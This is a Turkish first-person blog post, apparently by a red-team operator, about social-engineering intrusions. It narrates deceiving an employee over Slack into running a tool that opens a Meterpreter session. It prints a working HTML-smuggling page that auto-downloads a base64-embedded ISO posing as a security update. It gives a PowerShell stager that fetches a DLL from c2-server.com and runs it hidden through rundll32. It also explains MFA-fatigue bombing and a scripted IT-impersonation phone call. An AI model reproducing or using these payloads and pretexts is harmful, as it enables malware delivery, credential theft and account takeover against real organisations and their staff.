Terminal ekranındaki waiting for incoming connection... yazısı saniyelerdir imleç gibi gözümün önünde yanıp sönerken, karşı taraftan gelen o tek cümlelik Slack mesajı her şeyi bitirebilirdi: "IT ekibinden Ahmet'e sordum, senin böyle bir yetkin olmadığını söylüyor." Kalp atışım kulaklarımda yankılanıyor, elimdeki kahve bardağı çoktan soğumuş, gözlerim ise sadece o Meterpreter oturumunun açılmasını bekliyor. Ahmet kim bilmiyorum ama şu an benim en büyük rakibim o.
Klavye başına geçip hızlıca "Ahmet muhtemelen yeni gelen güvenlik güncelleme prosedüründen haberdar değil, kendisi geçen hafta izindeydi ya, karışıklık olmuştur. Sen şu log temizleme aracını bir çalıştır, ben arka taraftan DB senkronizasyonunu halledeceğim." yazdım. Gönder tuşuna basarken aslında bir kumar oynuyordum. Red Team operasyonunun en 'terli' anı budur dostum; kodun değil, kelimelerin debug edildiği o an.
On saniye, yirmi saniye... Ve bam! Ekranda o yeşil yazı: Meterpreter session 1 opened. Karşıdaki kullanıcı "Tamamdır Sedat Bey, çalıştırdım." dediğinde aslında o an kapıyı ardına kadar açmıştı.
Sosyal Mühendislik Sadece "Yalan Söylemek" Değildir
Genelde dışarıdan bakınca sosyal mühendislik (SE), insanları kandırıp şifrelerini çalmak gibi basit bir şey sanılıyor. Ama işin mutfağında durum çok daha teknik ve derin. Bizim işimiz, hedef sistemin savunma mekanizmalarını değil, hedef insanın "tehlike algısını" bypass etmek. Bir EDR (Endpoint Detection and Response) çözümünü geçmek için obfustication (kod karartma) yaparsın, ama bir insanı geçmek için "context" (bağlam) oluşturursun.
Eğer bağlamın sağlamsa, en bilinçli kullanıcı bile o dosyaya tıklar. Çünkü biz insanların beyni, otoriteye güvenme ve yardım etme eğilimi üzerine kodlanmış. Ben o gün sadece bir link göndermedim; bir hikaye, bir ihtiyaç ve bir aciliyet hissi sattım.
Teknik Teslimat: HTML Smuggling
Artık öyle "fatura_detaylari.exe" göndererek kimseyi hackleyemezsin. Outlook, Gmail, kurumsal proxy'ler bunları saniyeler içinde karantinaya alıyor. Bizim kullandığımız yöntemler çok daha 'geeky'. Mesela HTML Smuggling.
Bu teknikte, zararlı dosyayı doğrudan göndermiyoruz. Bunun yerine, masum görünen bir HTML dosyasının içine JavaScript ile base64 formatında gömüyoruz. Dosya kullanıcının tarayıcısına indiğinde, JavaScript kodu çalışıyor ve o base64 blob'u birleştirip kullanıcının bilgisayarında yerel bir dosya oluşturuyor. Güvenlik duvarları sadece bir HTML dosyası (aslında sadece metin) geçtiğini sanıyor ama içeride canavar uyanıyor.
İşte o gün kullandığım basit ama etkili bir HTML Smuggling örneği:
<html>
<body>
<script>
// Bizim meşhur "Güvenlik Güncelleme Aracı" (Payload burada gizli)
function downloadFile(fileName, base64Data) {
const byteCharacters = atob(base64Data);
const byteNumbers = new Array(byteCharacters.length);
for (let i = 0; i < byteCharacters.length; i++) {
byteNumbers[i] = byteCharacters.charCodeAt(i);
}
const byteArray = new Uint8Array(byteNumbers);
const blob = new Blob([byteArray], {type: "application/octet-stream"});
const link = document.createElement('a');
link.href = window.URL.createObjectURL(blob);
link.download = fileName;
link.click();
}
// Bu string aslında şifrelenmiş bir .lnk veya .iso dosyası
const payload = "UEsDBBQAAAAIA... (uzayıp giden base64 string)";
// Kullanıcı sayfayı açtığı an indirme tetikleniyor
setTimeout(() => {
downloadFile("SecUpdate_2023_v4.iso", payload);
}, 2000);
</script>
<h2>Güvenlik Doğrulaması Başlatıldı...</h2>
<p>Lütfen indirilen dosyayı açarak sistem taramasını tamamlayın.</p>
</body>
</html>
Bu kodu bir phishing e-postasına veya Slack'ten gönderdiğin bir linke gömdüğünde, antivirüslerin statik analizini büyük oranda atlatabiliyorsun. Çünkü dosya internetten inmiyor, kullanıcının kendi tarayıcısında, kendi belleğinde oluşturuluyor.
payload.exe'den Daha Tehlikeli Bir Şey: .LNK Dosyaları
ISO dosyasını indirtmek yetmiyor, o ISO'nun içindeki bir şeye tıklatman lazım. Genelde biz içine bir .lnk (Shortcut) dosyası ve bir de gizli bir DLL klasörü koyarız. Kullanıcı "Tıkla_Çalıştır" gibi bir şeye tıkladığında, arka planda meşru bir Windows aracını (mesela calc.exe veya mshta.exe) kullanarak kendi zararlı DLL'imizi çalıştırırız (DLL Sideloading).
İşte o anlarda terminalde koşturduğumuz PowerShell stager'ı genelde şöyle bir şeye benzer:
$url = "http://c2-server.com/agent.bin"
$path = "$env:TEMP\update.dll"
(New-Object System.Net.WebClient).DownloadFile($url, $path)
# Meşru bir uygulama üzerinden DLL'i load etme sanatı
Start-Process "C:\Windows\System32\rundll32.exe" -ArgumentList "$path,StartRoutine" -WindowStyle Hidden
Bu komut satırını gördüğünde EDR'lar bağırabilir ama sosyal mühendislik burada devreye giriyor. Eğer kullanıcıya "Birazdan ekranında bir uyarı çıkabilir, o bizim yeni güvenlik modülünün imzasıyla ilgili, 'Yine de Çalıştır' dersen sorun çözülecek" dersen, kullanıcı o EDR uyarısını bir engel değil, senin ona önceden söylediğin bir "prosedür adımı" olarak görür. İşte bu, insanı hacklemektir.
Psikolojik Tetikleyiciler: Neden "Hayır" Diyemiyorlar?
Operasyonlarda kullandığımız birkaç temel silah var:
- Otorite: Profilimde "Global Security Lead" yazıyorsa ve profil fotoğrafım ciddiyse, junior bir geliştiricinin bana soru sorması zordur.
- Aciliyet: "Sistemde bir sızıntı var, hemen bu logları incelemem lazım!" dediğinde, beyin mantıklı düşünmeyi bırakıp hayatta kalma (veya işini kaybetmeme) moduna geçer.
- Aşinalık: Hedefle daha önce birkaç önemsiz konuda konuşmuşsan veya şirketin jargonunu (mesela içerideki projenin kod adını) biliyorsan, gardı anında düşer.
Geçenlerde yaptığımız bir çalışmada, şirketin yemek kartı sağlayıcısından geliyormuş gibi bir e-posta tasarladık. "Bakiye iadesi için bu formu doldurun" dedik. Tıklama oranı %70'ti. İnsanlar bedava yemeği, MFA (Multi-Factor Authentication) yorgunluğuna tercih ediyorlar.
MFA'yı Sosyal Mühendislik ile Geçmek (MFA Fatigue)
Birçok kurum "Bizim MFA'mız var, bize bir şey olmaz" diyor. Valla öyle bir oluyor ki... MFA Fatigue (MFA Yorgunluğu) dediğimiz bir saldırı türü var. Kullanıcının telefonuna gece saat 03:00'te ardı ardına 20 tane onay isteği gönderiyoruz. Kullanıcı uykulu uykulu "Yeter be!" deyip birine 'Onayla' bastığı an içeri girmiş oluyoruz.
Eğer kullanıcı akıllıysa ve onaylamıyorsa, ertesi gün arayıp "Merhaba, ben IT'den Sedat. Dün gece sistemlerimizde bir hata oluştu ve bazı kullanıcılara yanlışlıkla MFA bildirimleri gitti. Bu hatayı düzeltmek için şimdi bir test bildirimi göndereceğim, lütfen onaylar mısınız?" diyoruz. Ve ne oluyor biliyor musun? Onaylıyorlar.
Red Team Gözüyle Tavsiye
Sosyal mühendislik bir araç değil, bir sanat. Teknik olarak ne kadar iyi olursan ol, bir insanın "Evet" demesini sağlayamıyorsan, Red Team operasyonunda bir yerlerde tıkanacaksın demektir.
Bu işlerden korunmanın yolu ise teknik araçlardan çok, kurum kültüründen geçiyor. "Hata yaparsam kovulur muyum?" korkusunun olduğu bir yerde, insanlar hatayı gizler ve sosyal mühendisliğe daha açık hale gelirler. Ama "Şüpheli bir durum gördüğünde bildirmek ödüllendirilir" kültürü varsa, en kral phishing mail'i bile o kapıdan dönür.
Sözün özü; kodunu şifrele, payload'unu sakla ama asla insan faktörünü küçümseme. Çünkü günün sonunda, en güçlü şifreleme algoritmaları bile, nazikçe sorulan bir soruya verilen cevapla anlamsız kalabilir.
Bir sonraki operasyonda görüşürüz. O zamana kadar, terminaliniz açık, kahveniz taze kalsın. Ve unutma; eğer bir şey bedavaysa, muhtemelen payload sensin.
